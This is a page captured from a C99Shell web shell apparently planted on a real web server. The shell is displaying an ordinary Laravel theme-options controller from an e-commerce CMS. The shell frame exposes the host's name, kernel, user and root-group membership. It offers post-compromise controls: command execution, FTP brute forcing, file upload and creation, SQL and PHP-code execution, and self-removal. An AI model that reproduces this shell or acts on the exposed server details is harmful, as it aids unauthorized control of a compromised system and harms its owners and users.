!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/CMS/Http/Controllers/   drwxr-xr-x
Free 27.02 GB of 117.98 GB (22.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ThemeOptionController.php (6.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package ThemeOptionController
 * @author TechVillage <support@techvill.org>
 * @contributor Kabir Ahmed <[kabir.techvill@gmail.com]>
 * @created 27-12-2021
 */
namespace Modules\CMS\Http\Controllers;

use 
Modules\CMS\DataTables\PageDataTable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Facades\File;
use 
Modules\CMS\Http\Models\Page;
use 
Modules\CMS\Http\Models\Slider;
use 
Modules\CMS\Http\Models\ThemeOption;

class 
ThemeOptionController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @param PageDataTable $dataTable
     * @return \Illuminate\Contracts\Support\Renderable
     */
    
public function index(PageDataTable $dataTable)
    {
        return 
$dataTable->render('cms::index');
    }

    
/**
     * Get All Theme Option
     * @param string $layout
     *
     * @return \Illuminate\Contracts\view\View
     */
    
public function list(Request $request$layout 'default')
    {
        if (isset(
$request->layout)) {
            
$layout $request->layout;
        }

        
$data['themeOption'] = ThemeOption::getAll();
        
$data['sliders'] = Slider::getAll();
        
$data['pages'] = Page::select('slug''name')->active()->get();
        
$data['layout'] = $layout;
        
$data['fontFamilies'] = ThemeOption::fontFamilies();
        
$imageNames = ['footer_logo''google_play''app_store''payment_methods''header_logo''header_mobile_logo''download_google_play_logo''download_app_store_logo'];
        foreach (
$imageNames as $name) {
            if (
$image $data['themeOption']->where('name'$layout '_template_' $name)->first()) {
                
$data['image']['id'][$name] = $image->objectFile->id ?? 0;
                
$data['image'][$name] = $image->fileUrl();
            }
        }

        
$data['layouts'] = ThemeOption::layouts();

        if (
$request->ajax()) {
            return 
response()->json([
                
'data' => view('cms::theme.appearance'$data)->render(),
            ]);
        }
        return 
view('cms::theme.create'$data);
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param Request $request
     * @return array
     */
    
public function store(Request $request)
    {
        
$formData = [];
        
parse_str($request->data$formData);
        unset(
$formData['_token']);

        
array_walk_recursive($formData, function(&$value) {
            
$value xss_clean(($value));
        });

        
$formData['custom']['css'] = str_replace('double_quotation''"'$formData['custom']['css']);
        
$formData['custom']['js'] = str_replace('double_quotation''"'$formData['custom']['js']);

        
$css "Modules/CMS/Resources/assets/css/user-custom.css";
        
File::put($css$formData['custom']['css']);

        
$js "Modules/CMS/Resources/assets/js/user-custom.js";
        
File::put($js$formData['custom']['js']);
        unset(
$formData['custom']);

        
$layout $formData['layout'];
        unset(
$formData['layout']);
        if ((new 
ThemeOption)->store($formData$layout)) {
            return [
'status' => 1'message' => __('Successfully Saved')];
        }
        return [
'status' => 0'message' => __('Something went wrong, please try again.')];
    }

    
/**
     * Store theme layout with default layout content.
     *
     * @param Request $request
     * @return array
     */
    
public function layoutStore(Request $request)
    {
        
$menu 'layout';
        if (empty(
$request->name)) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('Something went wrong, please try again.'));
        }

        
$layout strtolower(str_replace(' ''_'$request->name));
        if (
in_array($layoutThemeOption::layouts())) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('The layout name already exists.'));
        }

        if ((new 
ThemeOption)->layoutStore($request->name)) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withSuccess(__('The :x has been successfully saved.', ['x' => __('Layout')]));
        }

        return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('Something went wrong, please try again.'));
    }

    
/**
     * Update theme layout.
     *
     * @param Request $request
     * @return array
     */
    
public function layoutUpdate(Request $request)
    {
        
$menu 'layout';
        if (empty(
$request->name)) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('Something went wrong, please try again.'));
        }

        if (
$request->old_layout == $request->name) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('No change found.'));
        }

        if ((new 
ThemeOption)->layoutUpdate($request->input())) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withSuccess(__('The :x has been successfully saved.', ['x' => __('Layout')]));
        }

        return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('Something went wrong, please try again.'));
    }

    
/**
     * Delete theme layout.
     *
     * @param string $layout
     * @return array
     */
    
public function layoutDelete($layout)
    {
        
$menu 'layout';
        if (
$layout == 'default') {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('Default layout can not be deleted'));
        }

        if ((new 
ThemeOption)->layoutDelete($layout)) {
            return 
redirect()->back()->with('appearanceMenu'$menu)->withSuccess(__('The :x has been successfully deleted.', ['x' => __('Layout')]));
        }

        return 
redirect()->back()->with('appearanceMenu'$menu)->withErrors(__('Something went wrong, please try again.'));
    }
    
/**
     * Store layout primary color.
     *
     * @param Request $request
     * @return array
     */
    
public function storePrimaryColor(Request $request)
    {
        if ((new 
ThemeOption)->storePrimaryColor($request->only('name''value'))) {
            return [
'status' => 1'message' => __('Successfully Saved')];
        }
        return [
'status' => 0'message' => __('Something went wrong, please try again.')];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--